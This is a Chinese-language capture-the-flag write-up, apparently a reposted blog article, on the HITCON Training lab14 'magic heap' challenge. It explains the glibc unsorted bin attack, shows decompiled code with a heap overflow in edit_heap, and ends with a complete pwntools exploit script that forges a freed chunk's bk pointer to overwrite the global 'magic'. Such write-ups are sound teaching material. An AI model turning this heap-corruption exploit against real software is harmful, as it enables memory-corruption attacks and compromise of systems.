64位程序,没开PIE  #Unsorted Bin Attack

 HITCON Training lab14——magic heap 随笔

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

 先回顾一下 Unsorted Bin 的基本来源以及基本使用情况。

基本来源

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
  3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

基本使用情况 

  1. Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取。
  2. 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

unsorted bin 中最后一个chunk的fd bk 均指向unsorted bin本身

将unsorted bin 中最后一个chunk的bk改为target_adr-0x10

在将最后一个chunk拿出来的过程中即可将target_adr处内容改为unsorted bin链表头部地址,为一个很大的数

这看起来似乎并没有什么用处,但是其实还是有点卵用的,比如说

  • 我们通过修改循环的次数来使得程序可以执行多次循环。
  • 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些 fast bin attack 了。

程序逻辑

 1 int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
 2 {
 3   char *v3; // rsi
 4   const char *v4; // rdi
 5   int v5; // eax
 6   char buf; // [rsp+0h] [rbp-10h]
 7   unsigned __int64 v7; // [rsp+8h] [rbp-8h]
 8 
 9   v7 = __readfsqword(0x28u);
10   setvbuf(stdout, 0LL, 2, 0LL);
11   v3 = 0LL;
12   v4 = (const char *)stdin;
13   setvbuf(stdin, 0LL, 2, 0LL);
14   while ( 1 )
15   {
16     while ( 1 )
17     {
18       menu(v4, v3);
19       v3 = &buf;
20       read(0, &buf, 8uLL);
21       v4 = &buf;
22       v5 = atoi(&buf);
23       if ( v5 != 3 )
24         break;
25       delete_heap(&buf, &buf);
26     }
27     if ( v5 > 3 )
28     {
29       if ( v5 == 4 )
30         exit(0);
31       if ( v5 == 4869 )
32       {
33         if ( (unsigned __int64)magic <= 0x1305 )
34         {
35           v4 = "So sad !";
36           puts("So sad !");
37         }
38         else
39         {
40           v4 = "Congrt !";
41           puts("Congrt !");
42           l33t("Congrt !", &buf);
43         }
44       }
45       else
46       {
47 LABEL_17:
48         v4 = "Invalid Choice";
49         puts("Invalid Choice");
50       }
51     }
52     else if ( v5 == 1 )
53     {
54       create_heap(&buf, &buf);
55     }
56     else
57     {
58       if ( v5 != 2 )
59         goto LABEL_17;
60       edit_heap(&buf, &buf);
61     }
62   }
63 }

编辑堆模块

 1 unsigned __int64 edit_heap()
 2 {
 3   __int64 v0; // ST08_8
 4   int v2; // [rsp+4h] [rbp-1Ch]
 5   char buf; // [rsp+10h] [rbp-10h]
 6   unsigned __int64 v4; // [rsp+18h] [rbp-8h]
 7 
 8   v4 = __readfsqword(0x28u);
 9   printf("Index :");
10   read(0, &buf, 4uLL);
11   v2 = atoi(&buf);
12   if ( v2 < 0 || v2 > 9 )
13   {
14     puts("Out of bound!");
15     _exit(0);
16   }
17   if ( heaparray[v2] )
18   {
19     printf("Size of Heap : ", &buf);     //堆溢出 20     read(0, &buf, 8uLL);
21     v0 = atoi(&buf);
22     printf("Content of heap : ", &buf);
23     read_input(heaparray[v2], v0);
24     puts("Done !");
25   }
26   else
27   {
28     puts("No such heap !");
29   }
30   return __readfsqword(0x28u) ^ v4;
31 }

同时,我们看到,当我们控制 v3 为 4869,同时控制 magic 大于 4869,就可以得到 flag 了

利用思路

 

  1. 释放一个堆块到 unsorted bin 中。
  2. 利用堆溢出漏洞修改 unsorted bin 中对应堆块的 bk 指针为 &magic-16。
  3. 触发漏洞即可。

expolit

 

 1 from pwn import *
 2 
 3 r = process('./magicheap')
 4 
 5 
 6 def create_heap(size, content):
 7     r.recvuntil(":")
 8     r.sendline("1")
 9     r.recvuntil(":")
10     r.sendline(str(size))
11     r.recvuntil(":")
12     r.sendline(content)
13 
14 
15 def edit_heap(idx, size, content):
16     r.recvuntil(":")
17     r.sendline("2")
18     r.recvuntil(":")
19     r.sendline(str(idx))
20     r.recvuntil(":")
21     r.sendline(str(size))
22     r.recvuntil(":")
23     r.sendline(content)
24 
25 
26 def del_heap(idx):
27     r.recvuntil(":")
28     r.sendline("3")
29     r.recvuntil(":")
30     r.sendline(str(idx))
31 
32 
33 create_heap(0x20, "dada")  # 0
34 create_heap(0x80, "dada")  # 1
35 # in order not to merge into top chunk
36 create_heap(0x20, "dada")  # 2
37 
38 del_heap(1)
39 
40 magic = 0x6020c0
41 fd = 0
42 bk = magic - 0x10
43 
44 edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
45 create_heap(0x80, "dada")  #trigger unsorted bin attack
46 r.recvuntil(":")
47 r.sendline("4869")
48 r.interactive()

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄